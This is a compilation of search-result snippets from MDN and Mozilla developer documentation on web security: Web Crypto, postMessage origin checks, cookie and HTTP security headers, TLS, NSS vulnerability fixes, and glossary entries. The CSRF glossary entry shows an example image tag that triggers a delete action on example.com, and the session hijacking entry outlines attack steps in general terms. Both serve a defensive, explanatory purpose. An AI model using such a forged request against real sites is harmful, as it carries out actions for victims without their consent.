thms, and they're all based on the same underlying cipher, aes (advanced encryption standard). the difference between them is the mode. the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker. authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key. while it's possible to add authentication to ctr and cbc modes, they do not provide it by default and when implementing it manually one can easily make minor, but serious mistakes. gcm does provide ...
...ter mode, as specified in nist sp800-38a. aes-cbc this represents aes in cipher block chaining mode, as specified in nist sp800-38a. aes-gcm this represents aes in galois/counter mode, as specified in nist sp800-38d. one major difference between this mode and the others is that gcm is an "authenticated" mode, which means that it includes checks that the ciphertext has not been modified by an attacker. examples note: you can try the working examples out on github. rsa-oaep this code fetches the contents of a text box, encodes it for encryption, and encrypts it with using rsa-oaep. see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".rsa-oaep #message"); let message = messagebox.value; let enc = new textencoder(); return e...
window.postMessage() - Web APIs
he window without your knowledge, and therefore it can intercept the data sent using postmessage. secure shared memory messaging if postmessage() throws when used with sharedarraybuffer objects, you might need to make sure you cross-site isolated your site properly. ...
...hod on any other window, at any time, regardless of the location of the document in the window, to send it a message. consequently, any event listener used to receive messages must first check the identity of the sender of the message, using the origin and possibly source properties. this cannot be overstated: failure to check the origin and possibly source properties enables cross-site scripting attacks. as with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of postmessage to detect when an event handler listening for events sent by postmessage throws an exception. postmessage() schedules the messageevent to be dispatched only after all pending execution contexts have finished. for example, if postmessage() is invoked in an event hand...
Cross-Origin Resource Policy (CORP) - HTTP
corp is an additional layer of protection beyond the default same-origin policy. ...
... corp is an additional layer of protection beyond the default same-origin policy. ...
Cross-Origin-Opener-Policy - HTTP
if a cross-origin document with coop is opened in a new window, the opening document will not have a reference to it, and the window.opener property of the new window will be null. ...
... if a cross-origin document with coop is opened in a new window, the opening document will not have a reference to it, and the window.opener property of the new window will be null. ...
Set-Cookie - HTTP
e: insecure sites (http:) can't set cookies with the secure attribute (since chrome 52 and firefox 52). httponly optional forbids javascript from accessing the cookie, for example, through the document.cookie property. note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g. when calling xmlhttprequest.send() or fetch(). this mitigates attacks against cross-site scripting (xss). samesite=<samesite-value> optional strict: the browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). if the request originated from a different url than the current one, no cookies with the samesite=strict attribute are sent. lax: the cookie is withheld on cross-site subrequests, s...
...he cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the url from an external site, such as by following a link. none: the browser sends the cookie with both cross-site and same-site requests. asserts that a cookie must not be sent with cross-origin requests, providing some protection against cross-site request forgery attacks (csrf). browsers are migrating to have cookies default to samesite=lax. if a cookie is needed to be sent cross-origin, opt out of the samesite restriction using the none value. the none value requires the secure attribute. examples session cookie session cookies are removed when the client shuts down. cookies are session cookies if they don't specify the expires or max-age attributes. s...
HTTP headers - HTTP
Web › HTTP › Headers
and that it can successfully handle the upgrade-insecure-requests directive. x-content-type-options disables mime sniffing and forces browser to use the type given in content-type. x-download-options the x-download-options http header indicates that the browser (internet explorer) should not display the option to "open" a file that has been downloaded from an application, to prevent phishing attacks as the file otherwise would gain access to execute in the context of the application. (note: related ms edge bug). x-frame-options (xfo) indicates whether a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. x-permitted-cross-domain-policies specifies if a cross-domain policy file (crossdomain.xml) is allowed. the file may define a policy to grant clients...
...its visitors. unset this header to avoid exposing potential vulnerabilities. x-xss-protection enables cross-site scripting filtering. http public key pinning (hpkp) http public key pinning has been deprecated and removed in favor of certificate transparency and expect-ct. public-key-pins associates a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. public-key-pins-report-only sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated. fetch metadata request headers sec-fetch-site it is a request header that indicates the relationship between a request initiator's origin and its target's origin. it is a structured header whos...
HTTP Public Key Pinning (HPKP) - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header. http public key pinning (hpkp) was a security feature that used to tell a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. it has been removed in modern browsers and is no longer supported. ...
...with forged certificates. it has been removed in modern browsers and is no longer supported. to ensure the authenticity of a server's public key used in tls sessions, this public key is wrapped into a x.509 certificate which is usually signed by a certificate authority (ca). web clients such as browsers trust a lot of these cas, which can all create certificates for arbitrary domain names. if an attacker is able to compromise a single ca, they can perform mitm attacks on various tls connections. hpkp can circumvent this threat for the https protocol by telling the client which public key belongs to a certain web server. hpkp is a trust on first use (tofu) technique. the first time a web server tells a client via a special http header which public keys belong to it, the client stores this infor...
Transport Layer Security - Web security
hanges in tls 1.3 are: the tls 1.3 handshake completes in one round trip in most cases, reducing handshake latency. a server can enable a 0-rtt (zero round trip time) handshake. clients that reconnect to the server can send requests immediately, eliminating the latency of the tls handshake entirely. though the performance gains from 0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature. tls 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key. tls 1.3 defines a new set of cipher suites that are exclusive to tls 1.3. these cipher suites all use modern authenticated encryption with associated data (aead) algorithms. the tls 1.3 handshake is encrypted, except for the messages th...
... the 0-rtt mode. web servers that enable tls 1.3 might need to adjust configuration to allow tls 1.3 to operate successfully. tls 1.3 adds just one significant new use case. the 0-rtt handshake can provide significant performance gains for latency sensitive applications, like the web. enabling 0-rtt requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks. the removal of renegotiation in tls 1.3 might affect some web servers that rely on client authentication using certificates. some web servers use renegotiation to either ensure that client certificates are encrypted, or to request client certificates only when certain resources are requested. for the privacy of client certificates, the encryption of the tls 1.3 handshake ensures that client ce...
SDK and XUL Comparison - Archive of obsolete content
e apis to be forward-compatible with the new multiple process architecture (codenamed electrolysis) planned for firefox. we also expect to support both desktop and mobile firefox using a single edition of the sdk: so you'll be able to write one extension and have it work on both products. security if they're not carefully designed, firefox add-ons can open the browser to attack by malicious web pages. although it's possible to write insecure add-ons using the sdk, it's not as easy, and the damage that a compromised add-on can do is usually more limited. restartlessness add-ons built with the sdk can be installed without having to restart firefox. although you can write traditional add-ons that are restartless, you can't use xul overlays in the...
Extension Versioning, Update and Compatibility - Archive of obsolete content
u might consider adding addtype application/xhtml+xml .xhtml to the .htacess file. unfortunately, i've encounter cases where adding the mime type to the server didnt help either. so the solution i did, and which worked, was just to give the file a "xml" extension instead of "xhtml". securing updates gecko 1.9 has added additional requirements designed to protect users from man-in-the-middle attacks and the like during add-on updates. in the install.rdf of the already installed add-on updateurl must be specified in one of the following ways: the updateurl uses https, or there is no updateurl at all (which defaults to addons.mozilla.org which is https) the updateurl uses http and the updatekey entry is specified which will be used to verify the data in the update manifest. when you spe...
Connecting to Remote Content - Archive of obsolete content
xml document directly into xul. filter a complex xml file and generate a simpler xml document with only the data you need, so then you can use regular dom functions to read it. convert xml into sql statements. you could use this to generate a script to run on your local database. you would of course need to be very careful about escaping characters and protecting yourself against sql injection attacks. convert xml into rdf. this was more useful when rdf was the default storage format. you can still use rdf as an intermediate format, though, and then use templates to generate xul and display the data. http debugging when you start debugging http requests, you may find it hard to know exactly what data was sent, especially with post data. we recommend you to use extensions like tamper data.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
many add-ons need to dynamically generate dom content, either xul or html, from their scripts. for security reasons, and to prevent errors, care needs to be taken to avoid evaluating arbitrary text as html. failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's pc open to remote attack. building dom trees in most cases, dom trees should be built exclusively with dom creation methods. the following methods will all safely create a dom tree without risk of remote execution. json templating jsontodom.namespaces = { html: "http://www.w3.org/1999/xhtml", xul: "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" }; jsontodom.defaultnamespace = jsontodom.namespaces.html; function jsontodom(jsontemplate, d...
Security best practices in extensions - Archive of obsolete content
intervals. non-chrome urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not acceptable, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks. the only legitimate environment for remote scripts is to run in a sandbox. for more information, refer to the evalinsandbox() section. evalinsandbox the evalinsandbox document explains very well how it works, so there will be no repetition here. the usefulness of it and power of how it works is best illustrated by the popular greasemonkey extension, which works on the premise of scripts being...
XUL Questions and Answers - Archive of obsolete content
a scheme is in development to allow servers to open up their site for cross-site access, but that's not yet done. hidechrome="true" doesn’t work on a mac? unfortunately, no simple solution to this was posted. a workaround is to open the content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument. is it possible to have checkbox suppor...
Introduction to Public-Key Cryptography - Archive of obsolete content
concepts of public-key cryptography. for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks. encryption and decryption allow two communicating parties to disguise information they send to each other. the sender encrypts, or scrambles, information before sending it. the receiver decrypts, or unscrambles, the information after receiving it. while in transit, the encrypted information is unintelligible to an intruder. tamper detection allows the recipient of information to verify that...
CSP - MDN Web Docs Glossary: Definitions of Web-related terms
the implementation is based on an http header called content-security-policy. ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com. there are many ways to prevent csrf, such as implementing restful api, adding secure tokens, etc. ...
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
in cryptography, a cipher is an algorithm that can encode cleartext to make it unreadable, and to decode it back. ciphers were common long before the information age (e.g., substitution ciphers, transposition ciphers, and permutation ciphers), but none of them were cryptographically secure except for the one-time pad. modern ciphers are designed to withstand attacks discovered by a cryptanalyst. there is no guarantee that all attack methods have been discovered, but each algorithm is judged against known classes of attacks. ciphers operate two ways, either as block ciphers on successive blocks, or buffers, of data, or as stream ciphers on a continuous data flow (often of sound or video). they also are classified according to how their keys are handled: symmetric key algorithms use...
Cryptographic hash function - MDN Web Docs Glossary: Definitions of Web-related terms
...
DMZ - MDN Web Docs Glossary: Definitions of Web-related terms
a dmz is a way to provide an insulated secure interface between an internal network (corporate or private) and the outside untrusted world — usually the internet. it exposes only certain defined endpoints, while denying access to the internal network from external nodes. learn more general knowledge dmz on wikipedia learn about it web servers and firewall - maximum security against attack on mdn ody> ...
HPKP - MDN Web Docs Glossary: Definitions of Web-related terms
learn more public-key-pins public-key-pins-report-only rfc 7469 wikipedia: http public key pinning ...
Placeholder names - MDN Web Docs Glossary: Definitions of Web-related terms
placeholder names are commonly used in cryptography to indicate the participants in a conversation, without resorting to terminology such as "party a," "eavesdropper," and "malicious attacker." the most commonly used names are: alice and bob, two parties who want to send messages to each other, occasionally joined by carol, a third participant eve, a passive attacker who is eavesdropping on alice and bob's conversation mallory, an active attacker ("man-in-the-middle") who is able to modify their conversation and replay old messages ...
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
e) are utterly unpredictable, whereas all algorithms are predictable, and a prng returns the same numbers when passed the same starting parameters or seed. prngs can be used for a variety of applications, such as games. a cryptographically secure prng is a prng with certain extra properties making it suitable for use in cryptography. these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state, this should not enable the attacker to work out previously emitted numbers. most prngs are not cryptographically secure. learn more general knowledge pseudorandom number generator on wikipedia math.random(), a built-in javascript prng function. note that this is not a cryptographic...
RTP (Real-time Transport Protocol) and SRTP (Secure RTP) - MDN Web Docs Glossary: Definitions of Web-related terms
ansport protocol (rtp) is a network protocol which described how to transmit various media (audio, video) from one endpoint to another in a real-time fashion. rtp is suitable for video-streaming application, telephony over ip like skype and conference technologies. the secure version of rtp, srtp, is used by webrtc, and uses encryption and authentication to minimize the risk of denial-of-service attacks and security breaches. rtp is rarely used alone; instead, it is used in conjunction with other protocols like rtsp and sdp. learn more general knowledge introduction to the real-time transport protocol rtp on wikipedia rfc 3550 (one of the documents that specify precisely how the protocol works) ...
Same-origin policy - MDN Web Docs Glossary: Definitions of Web-related terms
...
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
session hijacking occurs when an attacker takes over a valid session between two computers. the attacker steals a valid session id in order to break into the system and snoop data. most authentication occurs only at the start of a tcp session. in tcp session hijacking, an attacker gains access by taking over a tcp session between two machines in mid session. session hijacking occurs because no account lockout for invalid session ids weak session-id generation algorithm insecure handling indefinite session expiration time short session ids transmission in plain text session hijacking process sniff, that is perform a man-in-the-middle (mitm) attack, place yourself between victim and server. monitor packets flowing between server and user. break the victim machine's conne...
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time. challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and resends them at a later time to get the same credentials as the original message. the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same). learn more challenge-response authentication on wikipedia. ...
Sending form data - Learn web development
<label for="file">choose a file</label> <input type="file" id="file" name="myfile"> </div> <div> <button>send the file</button> </div> </form> note: servers can be configured with a size limit for files and http requests in order to prevent abuse. security issues each time you send data to a server, you need to consider security. html forms are by far the most common server attack vectors (places where attacks can occur). the problems never come from the html forms themselves — they come from how the server handles data. the website security article of our server-side learning topic discusses a number of common attacks and potential defences against them in detail. you should go and check that article out, to get an idea of what's possible. be paranoid: never trust you...
Introduction to client-side frameworks - Learn web development
or javascript — so that they can be published in any number of places. the publishing host could be a github pages branch, a netlify instance, or any private server of your choosing, for example. there are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with javascript; it's already complete) and security (static pages have fewer attack vectors). these sites can still utilize javascript where they need to, but they are not dependent upon it. static site generators take time to learn, just like any other tool, which can be a barrier to your development process. static sites can have as few or as many unique pages as you want. just as frameworks empower you to quickly write client-side javascript applications, static site generat...
Experimental features in Firefox
ter. it is enabled by default. release channel version added enabled by default? nightly 81 yes developer edition — — beta — — release — — preference name — security and privacy block plain text requests from flash on encrypted pages in order to help mitigate man-in-the-middle (mitm) attacks caused by flash content on encrypted pages, a preference has been added to treat object_subrequests as active content. see bug 1190623 for more details. release channel version added enabled by default? nightly 59 no developer edition 59 no beta 59 no release 59 no preference name security.mixed_content.b...
Script security
for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers. gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascript. this javascript code, which is commonly referred to as chrome code, runs with system privileges. if the code is compromised, the attacker can take over the user's computer. legacy sdk extensions also run with chrome privileges. having the browser front end in javascript has benefits: it can be much quicker to develop in javascript than in c++, and contributors do not need to learn c++. however, javascript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safel...
Localization content best practices
her. example: search %1$s for "%2$s" non-directional single, and double, quotation marks should be used in reference to html code, or other languages where ascii character usage is required, such as html. html does not prefer one over the other, and our codebase uses them interchangeably as of march 2016. example: this web page at <span id='malware_sitename'/> has been reported as an attack page and has been blocked based on your security preferences. u+2026 (\u2026) is the horizontal ellipsis character. this character should be used in place of three consecutive periods. create localizable strings don't assume grammar structures you need to consider the need for different grammar structures in different locales, and add switching mechanisms to present them appropriately. you s...
Mozilla Development Strategies
hould allow you to work on other items while you are awaiting reviews. get advice before working on a patch or feature, instead of after if you are blocked, or stumped as to what to work on, talk to a lead sooner rather than later. most likely they will have a bug they can hand off to you, or they can help get you unblocked. since they are going to be reviewing your code later, run your plan of attack by them first. it's better to have an idea rejected, than a big patch. if you are blocked, but have something worth checking in, check in using #ifdef, prefs, or "alternative" files sometimes you'll work on something, but you can't land it because something else is blocking you. you can still land (assuming you get reviews) if the code isn't on by default. this also makes it easier to get help ...
Gecko Profiler FAQ
stigations decide to delve into some part of it using a native profiler, etc. nothing stands out in the profile, how can i accurately find the next bottleneck? this is a hard question. you’ll probably want to accumulate costs that are somehow “similar” or “in the same bucket” but distributed over different parts of the call tree / time line, and then attack the biggest bucket. neither the process of accumulation, nor the process of assigning things to buckets, is easily doable with the current ui. there are many cases where code is slow due to a death by a thousand cuts scenario, in which case you would need to find many micro-optimizations that overall amount to something significant. how to go from a web-page t...
NSS FAQ
Mozilla › Projects › NSS › FAQ
as well as pkcs #11 and s/mime. to permit its use in as many contexts as possible, nss is licensed under the mozilla public license, version 2. how does nss compare to sslref? sslref was an early reference implementation of the ssl protocol. it contains bugs that were never fixed, doesn't support tls or or the new 56-bit export cipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1. netscape no longer maintains sslref or makes it available. it was built as an example of an ssl implementation, not for creating production applications. nss was designed from the ground up for use by commercial developers. it provides a complete software development kit that uses the same architecture used to support security features in many client and server products from netscape...
NSS 3.12.5 release_notes
ndiscoverable by cert_pkixverifycert bug 518443: pk11_importandreturnprivatekey leaks an arena bug 518446: pk11_derencodepublickey leaks a certsubjectpublickeyinfo bug 518457: seckey_encodedersubjectpublickeyinfo and pk11_derencodepublickey are duplicate bug 522510: add deprecated comments to key.h and pk11func.h bug 522580: nss uses port_memcmp for comparing secret data. bug 525056: timing attack against ssl3ext.c:ssl3_serverhandlesessionticketxtn() bug 526689: ssl3 & tls renegotiation vulnerability documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.5 shared libraries are back...
NSS 3.19.1 release notes
/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits. new in nss 3.19.1 new functionality no new functionality is introduced in this release. this patch release includes a fix for the recently published logjam attack. notable changes in nss 3.19.1 nss reports the bit length of keys more accurately. thus, the seckey_publickeystrength and seckey_publickeystrengthinbits functions could report smaller values for values that have leading zero values. this affects the key strength values that are reported by ssl_getchannelinfo. the minimum size of keys that nss will generate, import, or use has been raised: ...
NSS 3.19.2.3 release notes
n ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_3_rtm/src/ new in nss 3.19.2.3 new functionality no new functionality is introduced in this release. security fixes in nss 3.19.2.3 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user. acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528. compatibility nss 3.19.2.3 shared libraries are backward compatible with all older n...
NSS 3.21.1 release notes
able on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_1_rtm/src/ new in nss 3.21.1 new functionality no new functionality is introduced in this release. security fixes in nss 3.21.1 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user. acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528. compatibility nss 3.21.1 shared libraries are backward compatible with all older nss...
NSS 3.22.2 release notes
e on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_2_rtm/src/ new in nss 3.22.2 new functionality no new functionality is introduced in this release. security fixes in nss 3.22.2 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user. notable changes in nss 3.22.2 bug 1247990 - the root ca changes from nss 3.23 have been backported. acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the iss...
NSS 3.23 release notes
the following ca certificate had the email trust bit turned on cn = actalis authentication root ca sha-256 fingerprint: 55:92:60:84:ec:96:3a:64:b9:6e:2a:be:01:ce:0b:a8:6a:64:fb:fe:bc:c7:aa:b5:af:c1:55:b3:7f:d7:60:66 security fixes in nss 3.23 bug 1245528 / cve-2016-1950 - fixed a heap-based buffer overflow related to the parsing of certain asn.1 structures. an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user. bugs fixed in nss 3.23 this bugzilla query returns all the bugs fixed in nss 3.23: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.23 acknowledgem...
NSS 3.36.6 release notes
butions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/ new in nss 3.36.6 new functionality no new functionality is introduced in this release. this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms. compatibility nss 3.36.6 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.36.6 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functio...
NSS 3.40.1 release notes
r secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/ new in nss 3.40.1 new functionality no new functionality is introduced in this release. this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.40.1 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible w...
NSS 3.41 release notes
gerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signature_algorithms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advan...
nss tech note7
these data types to nss functions and never examine the members of these structures. the strength of an rsa key pair is measured by the size of its modulus because given the modulus and public exponent, the best known algorithm for computing the private exponent is to factor the modulus. at present 1024 bit and 2048 bit rsa keys are the most common and recommended. to prevent denial-of-service attacks with huge public keys, nss disallows modulus size greater than 8192 bits. how are these keys created in nss? there are a few possibilities. rsa key pairs may be generated inside a crypto module (also known as a token). use pk11_generatekeypair() to generate a key pair in a crypto module. key pairs may be generated elsewhere, exported in encrypted form, and imported into a crypto module. p...
Notes on TLS - SSL 3.0 Intolerant Servers
om clients that are compliant with the ssl 3.0 and tls (aka ssl 3.1) specifications. netscape 6.x/7.x and mozilla browsers (0.9.1 and later versions) correctly implement the tls specification, and the users cannot utilize sites which have this problem. technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version rollback attacks". it is designed to permit a server to detect a man-in-the-middle that is altering the ssl client hello (connection) requests as they pass from the client to the server, altering them by changing the protocol version number to a lower version number. this feature was kind of meaningless until tls (ssl 3.1) came along because there was no version higher than 3.0 from which to be rolled back. tls ...
NSS environment variables
file string (filename) output file path name for the pkcs #11 module logger. default is stdout. 3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database contents. default is "auto". see the source for more information. 3.12 nss_ssl_cbc_random_iv string ("0", "1") controls the workaround for the beast attack on ssl 3.0 and tls 1.0. "0" disables it, "1" enables it. it is also known as 1/n-1 record splitting. default is "1". nss_ssl_enable_renegotiation string ([0|n|n], [1|u|u], [2|r|r], [3|t|t]) (definition for nss 3.12.6 and above) sets how tls renegotiation is handled [1|u|u]: ssl_renegotiate_unrestricted server and client are allowed to re...
sslintro.html
helper functions allow you to specify such things as how authentication is accomplished and what happens if it fails. ssl_setpkcs11pinarg. sets the argument passed to the pkcs #11 password callback function. required. ssl_authcertificatehook. specifies a callback function used to authenticate an incoming certificate (optional for servers, necessary for clients to avoid "man-in-the-middle" attacks). optional. if not specified, ssl uses the default callback function, ssl_authcertificate. ssl_badcerthook. specifies a callback function to deal with a situation where authentication has failed. optional. ssl_getclientauthdatahook. specifies a callback function for ssl to use when the server asks for client authentication information. this callback is required if you want to do client aut...
JS::CompileOptions
to compile the script. methods some methods of js::owningcompileoptions and js::compileoptions return the instance itself to allow method chain. methods of js::readonlycompileoptions method description bool mutederrors() const determines if errors are muted. the web platform allows scripts to be loaded from arbitrary cross-origin sources. this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents. to counter this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded. callers ...
JSErrorReport
the error condition. if null, the error is local to the script in the current html page. lineno unsigned line number in the source that caused the error. column unsigned zero-based column index in line in the source that caused the error. ismuted bool the web platform allows scripts to be loaded from arbitrary cross-origin sources. this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents. to counter this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded. callers s...
Zest tools
the following tools currently support zest: owasp zed attack proxy the zap add-on allows the user to create, edit and run zest scripts. it is being developed alongside zest and can be expected to showcase the latest zest features. related links zest overview ...
Components.utils.Sandbox
ironment in which javascript code that needs web apis (such as accessing the window's dom) can be executed without interference from untrusted content code. wantcomponents a boolean indicating whether the components object is available or not in the sandbox. default: true. if the sandbox interacts with untrusted content this should be set to false when possible to further reduce possible attack surface. wantexporthelpers a boolean: if true, then createobjectin(), evalinwindow(), and exportfunction() are available in the sandbox. default: false. wantglobalproperties an array of strings. each string is the name of an object that you want to make available as a global to code running in the sandbox. the exception is "-promise": the promise constructor is available by default f...
nsIURI
re if port is not applicable to the uri scheme (e.g. about:blank) prepath autf8string the prepath returns the string before the path (such as "scheme://user:password@host:port"). this is related to the web origin concept of rfc6454. this is useful for authentication, managing sessions, or for checking the origin of an uri to prevent cross-site scripting attacks while using methods such as window.postmessage(). note: some characters may be escaped. read only. ref autf8string returns the reference portion (the part after the "#") of the uri. if there is not one, an empty string is returned. note: some characters may be escaped. scheme acstring (us-ascii) the scheme is the protocol to which this uri refers.
Setting HTTP request headers
this specific http header (for example "x-site.net-extension") sent all the time but only when doing requests with this specific web sites. by not advertising to all sites what extensions are installed this improves both privacy (this makes it harder to track a user known by his set of plugins, addons and extensions) and security (some plugins, addons and extensions may be known to have flaws by attackers). with this privacy and security addition the code to use becomes: observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); if (/site.net/.test(httpchannel.originaluri.host)) { httpchannel.setrequestheader("x-hello", "world", false); } } }, ...
Storage
meters you placed in the statement. a given placeholder can appear multiple times in the same statement, and all instances of it will be replaced with the bound value. if you neglect to bind a value to a parameter, it will be interpreted as null. you should never try to construct sql statements on the fly with values inserted in them. by binding the parameters, you prevent possible sql injection attacks since a bound parameter can never be executed as sql. binding one set of parameters if you only have one row to insert, or are using the synchronous api you'll need to use this method. in javascript, there is a useful helper object (mozistoragestatementparams) available () that makes binding parameters much easier: var statement = dbconn.createstatement("select * from table_name where id = :r...
Mozilla
the mozilla mathml project is mozilla's project to build and enhance mathml support within firefox and other mozilla-based applications. for a quick overview, see the slides for the innovation fairs at mozilla summit 2013. mozilla port blocking on 08/15/2001, cert issued a vulnerability note vu#476267 for a "cross-protocol" scripting attack, known as the html form protocol attack which allowed sending arbitrary data to most tcp ports. a simple exploit of this hole allows an attacker to send forged unsigned mail through a mail server behind your firewall: a really nasty hole. mozilla projects mozilla has a number of projects other than firefox itself. many of these are ...
Debugger-API - Firefox Developer Tools
gee from within the same thread, and then handle any needed communication themselves. (firefox’s builtin tools have a protocol defined for this purpose.) in gecko, the debugger api is available to chrome code only. by design, it ought not to introduce security holes, so in principle it could be made available to content as well; but it is hard to justify the security risks of the additional attack surface. the debugger api cannot currently observe self-hosted javascript. this is not inherent in the api’s design, but simply that the self-hosting infrastructure isn’t prepared for the kind of invasions the debugger api can perform. debugger instances and shadow objects debugger reflects every aspect of the debuggee’s state as a javascript value—not just actual javascript values lik...
Cookies - Firefox Developer Tools
ge — the time when the cookie will expire. if the cookie is a session cookie, the value of this column will be "session" size — the size of the cookie name plus value in bytes. httponly — is this cookie http only? secure — is this cookie a secure cookie? samesite — is this cookie a same-site cookie? same-site cookies allow servers to mitigate the risk of csrf and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain. last accessed — date and time when the cookie was last read. created — date and time when the cookie was created. hostonly — is this cookie a domain cookie? that is, the domain value matches exactly the domain of the current website. note: some of the columns are not sh...
Animation.currentTime - Web APIs
